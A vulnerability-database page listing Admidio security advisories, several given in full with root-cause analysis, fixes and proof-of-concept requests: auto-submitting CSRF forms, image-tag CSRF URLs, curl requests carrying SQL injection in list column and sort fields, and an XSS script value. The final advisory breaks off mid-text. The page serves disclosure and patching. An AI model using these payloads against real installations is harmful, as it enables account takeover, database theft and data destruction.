Where
-Infinity
0

Vendor Risk Score

See how admidio compares to other vendors in security performance

View Risk Score →
Severity
5.3
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Admidio versions before 5.0.12 contain a broken access control vulnerability in profilefunction.php that allows authenticated low-privilege users to read another user's future role memberships. Attackers can bypass profile-level authorization by directly calling the reloadfuturememberships endpoint with a victim's user UUID to disclose sensitive membership information.

First published (updated )
Severity
8.7
Infoleak
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Admidio before 5.0.12 fails to enforce login-only module restrictions in RSS feed endpoints for forum and announcements modules. Unauthenticated attackers can retrieve forum topics and announcements by sending GET requests to rss/forum.php or rss/announcements.php, disclosing titles, full post text, author names, and timestamps.

First published (updated )
Severity
2.1
Path Traversal
AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:L/A:N

Admidio before 5.0.12 fails to sanitize album names in the photo ZIP download functionality, allowing authenticated users with album-creation rights to include path traversal segments in archive entry names. Attackers can craft malicious album names containing directory traversal sequences that escape the intended directory when recipients extract the archive, potentially writing files outside the target directory.

First published (updated )
Severity
8.7
SQL Injection
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Admidio before 5.0.12 contains a blind SQL injection vulnerability in the relationtypelist parameter of listsshow.php that allows unauthenticated attackers to execute arbitrary SQL queries. Attackers can bypass authentication by providing a dummy UUID in rolelist and inject SQL through relationtypelist to extract database contents including password hashes and user credentials.

First published (updated )
Severity
5.3
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Admidio before 5.0.11 contains an insecure direct object reference vulnerability in the savetemporary mode of mylistfunction.php that allows authenticated users to hijack list configurations. Attackers can enumerate global list UUIDs and overwrite admin-curated global lists or other users' private lists by supplying a listuuid parameter, transferring ownership and demoting global lists to personal configurations.

First published (updated )
Severity
7.1
CSRF
AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:L

Admidio before 5.0.11 does not validate the admcsrftoken in modules/category-report/preferences.php, which performs persistent Category Report configuration changes based on GET parameters (delete and copy). An attacker can trick an authenticated administrator into visiting a crafted URL to delete or duplicate Category Report configurations, affecting the integrity and availability of that module's configuration.

First published (updated )
Severity
6.9
XSS
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Admidio versions before 5.0.11 contain a reflected cross-site scripting vulnerability in the SSO/SAML endpoint that echoes unencoded exception messages to the HTTP response. Unauthenticated attackers can inject arbitrary JavaScript through SAML Issuer elements or LightSaml library parameters to execute code in users' browsers and hijack sessions.

First published (updated )
Severity
6.9
AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N

Admidio before 5.0.11 fails to validate target organization membership in role handlers, allowing authenticated role administrators to delete, activate, deactivate, or edit roles belonging to other organizations. Attackers can supply a role UUID from another organization to groupsroles.php handlers to modify that organization's roles without authorization.

First published (updated )
Severity
8.7
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Admidio before 5.0.11 contains an authentication bypass vulnerability in the forum module when configured in login-only mode. The access control logic in modules/forum.php fails to validate the login-only configuration state, allowing unauthenticated attackers to read forum topics and posts by directly accessing the module with read-only parameters.

First published (updated )
Severity
6.9
CSRF
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Admidio 3.3.5 contains a cross-site request forgery vulnerability that allows low-privilege users to increase their permissions by exploiting improper origin checking. Attackers can craft malicious HTML forms targeting rolesfunction.php with parameters like rolassignroles, rolapproveusers, and roledituser set to 1 to escalate privileges without authentication.

First published (updated )
Severity
7.3
CSRF, SQL Injection
AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:H/A:N

Summary

The createuser, assignmember, and assignuser action modes in modules/registration.php approve pending user registrations via GET request without validating a CSRF token. Unlike the deleteuser mode in the same file (which correctly validates the token), these three approval actions read their parameters from $GET and perform irreversible state changes without any protection. An attacker who has submitted a pending registration can extract their own user UUID from the registration confirmation email URL, then trick any user with the rolapproveusers right into visiting a crafted URL that automatically approves the registration. This bypasses the manual registration approval workflow entirely.

Details

CSRF Protection Is Present for deleteuser but Absent for Approval Modes

File: modules/registration.php, lines 90-128

The deleteuser mode validates the CSRF token (line 99), but the three approval modes do not:

php // assignmember and assignuser: no CSRF check } elseif (inarray($getMode, array('assignmember', 'assignuser'))) { $registrationService = new RegistrationService($gDb, $getUserUUID); $message = $registrationService->assignRegistration($getUserUUIDAssigned, $getMode === 'assignmember'); $gMessage->setForwardUrl($message['forwardUrl']); $gMessage->show($message['message']);

// createuser: no CSRF check } elseif ($getMode === 'createuser') { $registrationUser->acceptRegistration(); if ($gCurrentUser->isAdministratorRoles()) { admRedirect(SecurityUtils::encodeUrl(ADMIDIOURL . FOLDERMODULES.'/profile/roles.php', array('acceptregistration' => true, 'useruuid' => $getUserUUID))); }

// deleteuser: CSRF IS validated } elseif ($getMode === 'deleteuser') { SecurityUtils::validateCsrfToken($POST['admcsrftoken']); // <-- protected $registrationUser->delete(); }

The three approval modes read both UUIDs exclusively from $GET (lines 41-43):

The approve action modes accept $GET parameters useruuid and useruuidassigned without any POST body or CSRF token. Both parameters pass through admFuncVariableIsValid() with uuid type validation, which prevents SQL injection but provides no CSRF protection.

User UUID Is Known to the Attacker from Registration Email

File: D:/bugcrowd/admidio/repo/src/Infrastructure/Service/RegistrationService.php, lines 154-157

When a user submits a registration, Admidio sends a confirmation email containing a URL of the form:

https://TARGET/admprogram/modules/registration.php?id=VALIDATIONID&useruuid=REGISTRANTUUID

The useruuid in this URL is the registrant's own UUID. The attacker has this UUID because they received the confirmation email for their own registration.

isAdministratorRegistration() Is a Delegated Right

File: D:/bugcrowd/admidio/repo/src/Users/Entity/User.php, lines 1603-1606

php public function isAdministratorRegistration(): bool { return $this->checkRolesRight('rolapproveusers'); }

The rolapproveusers right is a delegated organizational privilege, not full system administrator access. Any member designated to review registrations -- for example, a membership secretary or club administrator -- is a valid CSRF victim.

PoC

Scenario: Attacker bypasses manual registration approval

Prerequisites: (1) Manual registration approval is enabled. (2) The attacker submits a registration form and receives a confirmation email with their useruuid. (3) After clicking the confirmation link, their registration enters the pending queue.

Step 1: Attacker extracts their own useruuid from the registration email

The confirmation email contains a link of the form:

https://TARGET/admprogram/modules/registration.php?id=VALIDATIONID&useruuid=ATTACKERUUID

The ATTACKERUUID is visible to the attacker from their own email.

Step 2: CSRF auto-approval via image tag

The attacker hosts a page that the victim (admin with rolapproveusers right) visits:

html <img src="https://TARGET/admprogram/modules/registration.php?mode=createuser&useruuid=ATTACKERUUID" width="1" height="1">

When the victim loads this page, Admidio silently accepts the attacker registration and assigns default organization roles. No confirmation or token is required.

Step 3: Force-assign registration to an existing account (account takeover)

If the attacker knows the UUID of an existing member (obtainable from profile page URLs when the user list is visible) and has a pending registration:

html <img src="https://TARGET/admprogram/modules/registration.php?mode=assignuser&useruuid=ATTACKERREGUUID&useruuidassigned=EXISTINGUSERUUID" width="1" height="1">

This merges the pending registration into the existing account, replacing that account login credentials with the attacker credentials.

Impact

- Manual Approval Bypass: An attacker with a pending registration can force auto-approval without waiting for an administrator to manually review it. This grants them organization membership, including access to events, documents, mailing lists, and other role-restricted features. - Account Takeover via assignuser CSRF: If the attacker knows any member UUID (visible in profile page URLs), the assignuser mode merges the attacker registration into that member account, replacing the existing member login with the attacker credentials. This is a full account takeover requiring only that the victim admin visit a crafted URL. - Low Attack Complexity: The attacker only needs their own registration email to get their UUID. The CSRF payload is a plain GET request via an image tag -- no JavaScript required. - Delegated Right: The required victim right (rolapproveusers) is a common delegation target in organizations with membership approval workflows.

Recommended Fix

Add SecurityUtils::validateCsrfToken($POST["admcsrftoken"]) at the beginning of each approval action, consistent with how deleteuser is already protected in the same file.

php // File: modules/registration.php

} elseif (inarray($getMode, array('assignmember', 'assignuser'))) { // ADD: validate CSRF token SecurityUtils::validateCsrfToken($POST['admcsrftoken']); $registrationService = new RegistrationService($gDb, $getUserUUID); $message = $registrationService->assignRegistration($getUserUUIDAssigned, $getMode === 'assignmember'); ...

} elseif ($getMode === 'createuser') { // ADD: validate CSRF token SecurityUtils::validateCsrfToken($POST['admcsrftoken']); $registrationUser->acceptRegistration(); ...

} elseif ($getMode === 'deleteuser') { SecurityUtils::validateCsrfToken($POST['admcsrftoken']); // already protected $registrationUser->delete(); }

Additionally, convert the approval action URLs from GET-based links to POST-form buttons (with the CSRF token in a hidden field). The existing deleteuser button uses callUrlHideElement() which already sends the token in the POST body -- use the same pattern for approval buttons.

1 / 2
Source: GitHub
First published (updated )
Severity
4.3
Input Validation, CSRF, XSS
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Summary

The inventory module's itemsave endpoint accepts a user-controllable POST parameter imported that, when set to true, completely bypasses both CSRF token validation and server-side form validation. An authenticated user can craft a direct POST request to save arbitrary inventory item data without CSRF protection and without the field value checks that the FormPresenter validation normally enforces.

Details

In modules/inventory.php, the imported parameter is read from POST input:

File: modules/inventory.php:50 php $postImported = admFuncVariableIsValid($POST, 'imported', 'bool', array('defaultValue' => false));

This is then passed to ItemService:

File: modules/inventory.php:251-256 php $itemService = new ItemService($gDb, $itemUuid, $postCopyField, $postCopyNumber, $postImported); $itemService->save(true);

Inside ItemService::save(), the postImported flag completely skips CSRF and form validation:

File: src/Inventory/Service/ItemService.php:99-109 php public function save(bool $multiEdit = false): void { global $gCurrentSession, $gL10n, $gSettingsManager;

// check form field input and sanitized it from malicious content if (!$this->postImported) { $itemFieldsEditForm = $gCurrentSession->getFormObject($POST['admcsrftoken']); $formValues = $itemFieldsEditForm->validate($POST, $multiEdit); } else { $formValues = $POST; // Raw $POST used with no CSRF check, no validation } // ... item data is saved using raw $formValues

When imported=1 is sent, the code: 1. Skips $gCurrentSession->getFormObject() — which validates the CSRF token 2. Skips $itemFieldsEditForm->validate() — which sanitizes and validates field values 3. Uses raw $POST values directly to save to the database

This means: - CSRF protection is completely bypassed — an external website can trick a logged-in user into modifying inventory data - Form validation is bypassed — field type checks, required field checks, and input sanitization are all skipped - Raw user input flows into $this->itemRessource->setValue() and then saveItemData() without the normal server-side sanitization

PoC

bash As an authenticated user with inventory access, save arbitrary item data without a valid CSRF token and without form validation:

curl -X POST -b 'ADMIDIOSESSION=<session>' \ 'https://admidio.local/modules/inventory.php?mode=itemsave' \ -d 'imported=1' \ -d 'admcsrftoken=anything' \ -d 'INF-CATEGORY=1' \ -d 'INF-ITEMNAME=<script>alert(1)</script>'

The CSRF token is not checked because imported=true skips the form object lookup. The field value is not sanitized because validate() is skipped.

A CSRF attack page would look like: html <html> <body> <form action="https://admidio.local/modules/inventory.php?mode=itemsave" method="POST"> <input type="hidden" name="imported" value="1" /> <input type="hidden" name="admcsrftoken" value="dummy" /> <input type="hidden" name="INF-CATEGORY" value="1" /> <input type="hidden" name="INF-ITEMNAME" value="Attacker-controlled data" /> </form> <script>document.forms[0].submit();</script> </body> </html>

Impact

- CSRF bypass: An attacker can trick any logged-in inventory user into creating or modifying inventory items by having them visit a malicious page. - Validation bypass: Server-side field type validation, required field checks, and input sanitization are all skipped, allowing arbitrary data to be stored. - Stored XSS potential: Because validate() is bypassed, unsanitized input may be stored and later rendered to other users (dependent on output encoding in the view layer).

Recommended Fix

Remove the imported parameter bypass from the save logic, or at minimum always validate the CSRF token regardless of the imported flag:

php public function save(bool $multiEdit = false): void { global $gCurrentSession, $gL10n, $gSettingsManager;

// ALWAYS validate CSRF token $itemFieldsEditForm = $gCurrentSession->getFormObject($POST['admcsrftoken']);

if (!$this->postImported) { $formValues = $itemFieldsEditForm->validate($POST, $multiEdit); } else { // For imported items, still validate the CSRF token (done above) // and apply basic sanitization $formValues = $itemFieldsEditForm->validate($POST, $multiEdit); } // ... }

Alternatively, the imported flag should only be set by the import workflow itself (via a session variable set during the import process), rather than being controllable via direct POST input.

1 / 2
Source: GitHub
First published (updated )
Severity
4.6
CSRF
AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:L

Summary

The delete mode handler in mylistfunction.php permanently deletes list configurations without validating a CSRF token. An attacker who can lure an authenticated user to a malicious page can silently destroy that user's list configurations — including organization-wide shared lists when the victim holds administrator rights.

Vulnerable Code File: modules/groups-roles/mylistfunction.php

The CSRF token validation at lines 81–82 is scoped exclusively to the save, saveas, and savetemporary modes:

php // Line 81-82 — only runs for save modes $categoryReportConfigForm = $gCurrentSession->getFormObject($POST['admcsrftoken']); if ($POST['admcsrftoken'] !== $categoryReportConfigForm->getCsrfToken()) { throw new Exception('Invalid or missing CSRF token!'); }

<img width="857" height="162" alt="imagen" src="https://github.com/user-attachments/assets/caec390e-ba6f-40f0-bb9c-a8870679da3d" />

The delete case at lines 159–161 executes the destructive operation with no token check:

php } elseif ($getMode === 'delete') { // delete list configuration $list->delete(); // no CSRF validation echo jsonencode(array('status' => 'success', ...)); exit(); }

<img width="560" height="133" alt="imagen" src="https://github.com/user-attachments/assets/2d5eff8e-bbce-49b9-b6d5-77f4e2e6db69" />

A global input guard at lines 40–48 requires a non-empty column[] POST parameter for all modes including delete. This guard serves no security purpose for deletion, it exists for save validation but it must be satisfied to reach the delete handler. Any static value such as LASTNAME is sufficient.

Impact

Any authenticated user with list edit permission can be targeted. Admidio ships with six organization-wide shared lists (lstglobal = 1): Address list, Phone list, Contact information, Membership, Members, and Contacts. When an administrator is the CSRF victim, these global lists are permanently deleted affecting all members of the organization. There is no soft-delete or recovery mechanism.

---

Proof of Concept

First my video PoC, after that, the proof of concept with detail.

Watch Video

Prerequisites: Victim is authenticated in Admidio. Attacker knows the target list UUID (visible in the page URL at modules/groups-roles/mylist.php?listuuid=...)

1. Step 1: Attacker serves this page from any HTTP origin:

html <!DOCTYPE html> <html> <body> <form id="f" method="POST" action="http://TARGET/modules/groups-roles/mylistfunction.php?mode=delete&listuuid=TARGETUUID"> <input type="hidden" name="column[]" value="LASTNAME"> </form> <script>document.getElementById('f').submit();</script> </body> </html>

Since browsers block CSRF files, I did the proof of concept by setting up a local server with Python on the 9090. ok?

2. Step 2: Victim visits the attacker page while logged into Admidio. 3. Step 3: Server responds immediately:

json {"status":"success","url":".../modules/groups-roles/mylist.php"}

4. Step 4: List is permanently deleted. Verified via: sql SELECT lstname FROM admlists WHERE lstuuid='TARGETUUID'; -- Empty result set No admcsrftoken field is required anywhere in the request.

Recommendation Fix:

It's so simple.

Apply the same SecurityUtils::validateCsrfToken() pattern already used in the save modes:

php } elseif ($getMode === 'delete') { SecurityUtils::validateCsrfToken($POST['admcsrftoken']); $list->delete(); echo jsonencode(array('status' => 'success', ...)); exit(); }

Additionally, the column[] input guard at lines 40–48 should be moved inside the inarray($getMode, ['save', 'saveas', 'savetemporary']) block, since delete requires no column data and the guard currently forces attackers to include a trivially satisfiable dummy value.

<img width="751" height="240" alt="imagen" src="https://github.com/user-attachments/assets/607510b9-64a9-49fb-8806-604b651d31a8" />

Reported by: Juan Felipe Oz @JF0x0r LinkedIn

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary

Admidio relies on admmyfiles/.htaccess to deny direct HTTP access to uploaded documents. The Docker image ships with AllowOverride None in the Apache configuration, which causes Apache to silently ignore all .htaccess files. As a result, any file uploaded to the documents module regardless of the role-based permissions configured in the UI, is directly accessible over HTTP without authentication by anyone who knows the file path. The file path is disclosed in the upload response JSON.

---

Root Cause

File 1: Intended protection (ignored): admmyfiles/.htaccess apache Require all denied <img width="408" height="403" alt="imagen" src="https://github.com/user-attachments/assets/95f0d389-a1a9-4dc4-9840-7f189d2c58ff" />

File 2: Apache config that neutralizes it:

Command in order to search in Docker container: docker exec admidio-sec-app cat /etc/apache2/apache2.conf

/etc/apache2/apache2.conf (Docker image) apache <Directory ${APACHEDOCUMENTROOT}> AllowOverride None </Directory>

<img width="492" height="328" alt="imagen" src="https://github.com/user-attachments/assets/2f2e09b1-0c2e-4932-8698-a40f6b92e917" />

AllowOverride None instructs Apache to skip .htaccess processing entirely, the deny rule never executes. The upload directory is inside the web root at /opt/app-root/src/admmyfiles/ and returns HTTP 200 for direct requests.

File 3: Upload response leaks the direct URL: system/fileupload.php, upload response JSON:

<img width="1528" height="624" alt="imagen" src="https://github.com/user-attachments/assets/50e66fde-ff41-4efa-adc9-ceeb5b23a97d" />

json { "files": [{ "name": "sensitivepoc.txt", "url": "http://TARGET/admmyfiles/documentsresearch/TEST-SENSITIVE/sensitivepoc.txt" }] }

Verified PoC

Step 1: Admin creates a restricted folder (visible only to Administrator role): modules/documents-files.php → permissions set to role Administrator only.

<img width="1161" height="784" alt="imagen" src="https://github.com/user-attachments/assets/25d81e44-9a7c-4991-b72e-6e664d176695" />

Step 2: Admin uploads a file to the restricted folder. Upload response returns: http://TARGET/admmyfiles/documentsresearch/TEST-SENSITIVE/sensitivepoc.txt

<img width="1239" height="294" alt="imagen" src="https://github.com/user-attachments/assets/84c1bcd1-47d7-4115-ac0f-653b0a6d7301" />

Step 3: Unauthenticated request retrieves the file: bash curl -X GET 'http://TARGET/admmyfiles/documentsresearch/TEST-SENSITIVE/sensitivepoc.txt' Response: full file contents — no authentication required

<img width="1051" height="150" alt="imagen" src="https://github.com/user-attachments/assets/1ed7fab7-59cb-4d5b-8c60-12108490d1e4" />

Step 4: Confirm folder is role-restricted: sql SELECT filname, folname, folpublic FROM admfiles JOIN admfolders ON filfolid = folid ORDER BY filid DESC LIMIT 5; -- folpublic = 0, role restricted — yet file is publicly accessible ---

Impact

- Any document uploaded to Admidio including files restricted to specific roles is publicly accessible via direct HTTP request with no authentication required - Role-based access control on the documents module is completely bypassed at the filesystem level - Sensitive organizational documents (contracts, member data, financial records) are exposed to anyone who can guess or construct the file path - The upload API response discloses the direct URL to the uploader, making path enumeration trivial

Recommended Fix

Option 1 (preferred): Enable AllowOverride in Apache config: apache <Directory /opt/app-root/src/admmyfiles> AllowOverride All </Directory>

Option 2: Move uploads outside the web root: Store uploaded files in a directory outside DOCUMENTROOT and serve them exclusively through Admidio's download handler (modules/documents-files.php?mode=download), which enforces role checks before serving the file.

Option 3: Apache-level explicit deny (does not require .htaccess): apache <Directory /opt/app-root/src/admmyfiles> Require all denied </Directory> The most robust long-term fix is Option 2 — moving uploads outside the web root eliminates the dependency on Apache configuration correctness entirely.

Reported by: Juan Felipe Oz @JF0x0r LinkedIn

1 / 2
Source: GitHub
First published (updated )
Severity
8
EPSS
0.03%
SQL Injection, CSRF
AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

Summary

The MyList configuration feature in Admidio allows authenticated users to define custom list column layouts. User-supplied column names, sort directions, and filter conditions are stored in the admlistcolumns table via prepared statements (safe storage), but are later read back and interpolated directly into dynamically constructed SQL queries without sanitization or parameterization. This is a classic second-order SQL injection: safe write, unsafe read.

An attacker can inject arbitrary SQL through these stored values to read, modify, or delete any data in the database, potentially achieving full database compromise.

Details

Step 1: Storing the Payload (Safe Write)

In modules/groups-roles/mylistfunction.php (lines 89-115), user-supplied POST array values for column names, sort directions, and filter conditions are accepted. The only validation on column values is a prefix check (must start with usr or mem). Sort and condition values have no validation at all. These values are stored in the database via ListConfiguration::addColumn() which calls Entity::save() using prepared statements -- so the INSERT/UPDATE is safe.

Key source file references: - D:\bugcrowd\admidio\repo\modules\groups-roles\mylistfunction.php lines 89-115 - D:\bugcrowd\admidio\repo\src\Roles\Entity\ListConfiguration.php lines 106-116

Step 2: Triggering the Payload (Unsafe Read)

When the list is viewed (via listsshow.php), ListConfiguration::getSql() reads the stored values and interpolates them directly into SQL in four locations:

Injection Point 1 -- lscspecialfield in SELECT clause: File D:\bugcrowd\admidio\repo\src\Roles\Entity\ListConfiguration.php lines 739-770. The lscspecialfield value is read from the database and used as a column name in the SELECT clause. Only three values (memduration, membegin, memend) get special handling; all others fall through to the default case where the raw value is used directly as both $dbColumnName and $sqlColumnName, then interpolated into the SQL as $dbColumnName AS $sqlColumnName.

Injection Point 2 -- lscsort in ORDER BY clause: File D:\bugcrowd\admidio\repo\src\Roles\Entity\ListConfiguration.php lines 790-792. The lscsort value is appended directly after the column name in the ORDER BY clause.

Injection Point 3 -- lscspecialfield in search conditions: File D:\bugcrowd\admidio\repo\src\Roles\Entity\ListConfiguration.php lines 611-621. The lscspecialfield value is interpolated into COALESCE() expressions used in search WHERE conditions.

Injection Point 4 -- lscfilter via ConditionParser: File D:\bugcrowd\admidio\repo\src\Roles\ValueObject\ConditionParser.php line 347. The ConditionParser appends raw characters from the stored filter value to the SQL string. A single quote can break out of the SQL string context.

Root Cause

The addColumn() method and mylistfunction.php accept arbitrary strings for column names, sort directions, and filter conditions. The only gate for column names is a prefix check (usr or mem), which is trivially satisfied by an attacker (e.g., usrid) UNION SELECT ...). No allowlist of valid column names exists. No server-side validation of sort values exists (should only allow ASC/DESC/empty). The frontend <select> element only offers ASC/DESC, but this is trivially bypassed by POSTing arbitrary values.

PoC

Prerequisites: Logged-in user with list edit permission (default: all logged-in users).

Step 1: Save a list config with SQL injection in lscspecialfield

curl -X POST "https://TARGET/admprogram/modules/groups-roles/mylistfunction.php?mode=savetemporary" \ -H "Cookie: ADMIDIOSESSIONID=<session>" \ -d "admcsrftoken=<csrftoken>" \ -d "column[]=usrloginname" \ -d "column[]=usrid FROM admusers)--" \ -d "sort[]=" \ -d "sort[]=" \ -d "condition[]=" \ -d "condition[]=" \ -d "selroles[]=<validroleuuid>"

The second column value usrid FROM admusers)-- starts with usr so it passes the prefix check. When read back in getSql(), it is interpolated directly as a column expression in the SQL SELECT clause.

Step 2: Sort-based injection (simpler, no prefix check needed)

curl -X POST "https://TARGET/admprogram/modules/groups-roles/mylistfunction.php?mode=savetemporary" \ -H "Cookie: ADMIDIOSESSIONID=<session>" \ -d "admcsrftoken=<csrftoken>" \ -d "column[]=usrloginname" \ -d "sort[]=ASC,(SELECT+CASE+WHEN+(1=1)+THEN+1+ELSE+1/0+END)" \ -d "condition[]=" \ -d "selroles[]=<validroleuuid>"

This injects into the ORDER BY clause. The sort value has zero server-side validation.

Step 3: The savetemporary mode automatically redirects to listsshow.php which calls ListConfiguration::getSql(), executing the injected SQL.

Impact

- Data Exfiltration: An attacker can extract any data from the database including password hashes, email addresses, personal data of all members, and application configuration. - Data Modification: With stacked queries (supported by MySQL with PDO), the attacker can modify or delete data. - Privilege Escalation: Password hashes can be extracted and cracked, or admin accounts can be directly modified. - Full Database Compromise: The entire database is accessible through this vulnerability.

The attack requires authentication and CSRF token, but: 1. Any logged-in user has this permission by default (when groupsroleseditlists = 1). 2. The CSRF token is available in the same session. 3. The injected payload persists in the database and triggers every time anyone views the list.

Recommended Fix

Fix 1: Allowlist for lscspecialfield

Add a strict allowlist of valid special field names before calling addColumn() in mylistfunction.php. The list should match exactly the field names supported in getSql() and the JavaScript on mylist.php.

Fix 2: Validate lscsort values

In ListConfiguration::addColumn(), validate that the sort parameter is one of ASC, DESC, or empty string before storing it.

Fix 3: Defense-in-depth validation in ListConfiguration::getSql()

Also validate the lscspecialfield value against an allowlist in getSql() before interpolating it into the SQL string. This protects against payloads already stored in the database.

Fix 4: Escape filter values in ConditionParser

Use parameterized queries or at minimum escape single quotes in ConditionParser::makeSqlStatement().

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
EPSS
0.03%
CSRF
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Summary

The forum module in Admidio does not verify whether the current user has permission to delete forum topics or posts. Both the topicdelete and postdelete actions in forum.php only validate the CSRF token but perform no authorization check before calling delete(). Any authenticated user with forum access can delete any topic (with all its posts) or any individual post by providing its UUID.

This is inconsistent with the save/edit operations, which properly check isAdministratorForum() and ownership before allowing modifications.

Details

Vulnerable Code Path 1: Topic Deletion

File: D:\bugcrowd\admidio\repo\modules\forum.php, lines 98-108

The topicdelete handler validates CSRF but never calls $topic->isEditable():

php case 'topicdelete': // check the CSRF token of the form against the session token SecurityUtils::validateCsrfToken($POST['admcsrftoken']);

$topic = new Topic($gDb); $topic->readDataByUuid($getTopicUUID); $topic->delete(); echo jsonencode(array('status' => 'success')); break;

The Topic class has an isEditable() method (lines 144-164 of ListConfiguration.php) that properly checks isAdministratorForum() and getAllEditableCategories('FOT'), but it is never called in the delete path.

Vulnerable Code Path 2: Post Deletion

File: D:\bugcrowd\admidio\repo\modules\forum.php, lines 125-134

The postdelete handler also validates CSRF but performs no authorization check:

php case 'postdelete': // check the CSRF token of the form against the session token SecurityUtils::validateCsrfToken($POST['admcsrftoken']);

$post = new Post($gDb); $post->readDataByUuid($getPostUUID); $post->delete(); echo jsonencode(array('status' => 'success')); break;

Contrast with Save Operations (Properly Authorized)

The ForumTopicService::savePost() method in D:\bugcrowd\admidio\repo\src\Forum\Service\ForumTopicService.php lines 117-121 correctly verifies authorization:

php if ($postUUID !== '') { $post->readDataByUuid($postUUID); if (!$gCurrentUser->isAdministratorForum() && $post->getValue('fopusridcreate') !== $gCurrentUser->getValue('usrid')) { throw new Exception('You are not allowed to edit this post.'); } }

The delete operations should have equivalent checks but do not.

Module-Level Access Check

File: D:\bugcrowd\admidio\repo\modules\forum.php, lines 53-59

The only check before the delete operations is the module-level access check:

php if ($gSettingsManager->getInt('forummoduleenabled') === 0) { throw new Exception('SYSMODULEDISABLED'); } elseif ($gSettingsManager->getInt('forummoduleenabled') === 1 && !inarray($getMode, array('cards', 'list', 'topic')) && !$gValidLogin) { throw new Exception('SYSNORIGHTS'); }

This only ensures the user is logged in for write operations. It does not check whether the user has forum admin rights or is the author of the content being deleted.

PoC

Prerequisites: Two user accounts - a regular logged-in user (attacker) and a forum admin who has created topics and posts.

Step 1: Attacker discovers a topic UUID

The attacker visits any forum topic page. Topic UUIDs are visible in the URL and page source.

Step 2: Attacker deletes the topic (and all its posts)

curl -X POST "https://TARGET/admprogram/modules/forum.php?mode=topicdelete&topicuuid=<TOPICUUID>" \ -H "Cookie: ADMIDIOSESSIONID=<attackersession>" \ -d "admcsrftoken=<attackercsrftoken>"

Expected response: {"status":"success"}

The topic and all its posts are permanently deleted from the database.

Step 3: Attacker deletes an individual post

curl -X POST "https://TARGET/admprogram/modules/forum.php?mode=postdelete&postuuid=<POSTUUID>" \ -H "Cookie: ADMIDIOSESSIONID=<attackersession>" \ -d "admcsrftoken=<attackercsrftoken>"

Expected response: {"status":"success"}

Impact

- Data Destruction: Any logged-in user can permanently delete any forum topic (including all associated posts) or any individual post. The Topic::delete() method cascades and removes all posts belonging to the topic. - Content Integrity: Forum content created by administrators or other authorized users can be destroyed by any regular member. - No Undo: The deletion is permanent. There is no soft-delete or trash mechanism. The only recovery would be from database backups. - Low Barrier: The attacker only needs a valid login and the UUID of the target content. UUIDs are visible in forum page URLs and are not secret.

Recommended Fix

Fix 1: Add authorization check to topicdelete

php case 'topicdelete': SecurityUtils::validateCsrfToken($POST['admcsrftoken']);

$topic = new Topic($gDb); $topic->readDataByUuid($getTopicUUID);

// Add authorization check if (!$topic->isEditable()) { throw new Exception('SYSNORIGHTS'); }

$topic->delete(); echo jsonencode(array('status' => 'success')); break;

Fix 2: Add authorization check to postdelete

php case 'postdelete': SecurityUtils::validateCsrfToken($POST['admcsrftoken']);

$post = new Post($gDb); $post->readDataByUuid($getPostUUID);

// Add authorization check - only forum admins or the post author can delete if (!$gCurrentUser->isAdministratorForum() && (int)$post->getValue('fopusridcreate') !== $gCurrentUserId) { throw new Exception('SYSNORIGHTS'); }

$post->delete(); echo jsonencode(array('status' => 'success')); break;

1 / 2
Source: GitHub
First published (updated )
Severity
5.4
EPSS
0.01%
XSS, CSRF
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Summary

The eCard send handler in Admidio uses the raw $POST['ecardmessage'] value instead of the HTMLPurifier-sanitized $formValues['ecardmessage'] when constructing the greeting card HTML. This allows an authenticated attacker to inject arbitrary HTML and JavaScript into greeting card emails sent to other members, bypassing the server-side HTMLPurifier sanitization that is properly applied to the ecardmessage field during form validation.

Details

Root Cause

File: D:\bugcrowd\admidio\repo\modules\photos\ecardsend.php

At line 38, the raw POST value is captured BEFORE form validation runs:

php $postMessage = $POST['ecardmessage']; // Line 38: RAW value

At line 61, the form validation runs and properly sanitizes the message through HTMLPurifier (since ecardmessage is registered as an editor field):

php $formValues = $photosEcardSendForm->validate($POST); // Line 61: sanitized

The sanitized value is stored in $formValues['ecardmessage'], but this value is never used. Instead, the raw $postMessage is passed to parseEcardTemplate() at lines 159 and 201:

php $ecardHtmlData = $funcClass->parseEcardTemplate($imageUrl, $postMessage, ...); // Line 159 $ecardHtmlData = $funcClass->parseEcardTemplate($imageUrl, $postMessage, ...); // Line 201

Template Injection

File: D:\bugcrowd\admidio\repo\src\Photos\ValueObject\ECard.php, line 144

The parseEcardTemplate() method places the message directly into the HTML template without any encoding:

php $pregRepArray['/<%ecardmessage%>/'] = $ecardMessage; // Line 144: no encoding

Compare this to the recipient fields which ARE properly encoded:

php $pregRepArray['/<%ecardreciepientemail%>/'] = SecurityUtils::encodeHTML($recipientEmail); // Line 135 $pregRepArray['/<%ecardreciepientname%>/'] = SecurityUtils::encodeHTML($recipientName); // Line 136

Inconsistency with Preview

File: D:\bugcrowd\admidio\repo\modules\photos\ecardpreview.php, line 56

The preview correctly uses the sanitized value:

php $smarty->assign('ecardContent', $funcClass->parseEcardTemplate($imageUrl, $formValues['ecardmessage'], ...));

This means the preview shows the sanitized version, but the actual sent email contains the unsanitized content.

Delivery Mechanism

The unsanitized HTML is delivered via two channels:

1. HTML Email (primary vector): At line 218 of ECard.php, the parsed template is set as the email body via $email->setText($ecardHtmlData) followed by $email->setHtmlMail(). The malicious HTML is rendered by the recipient's email client.

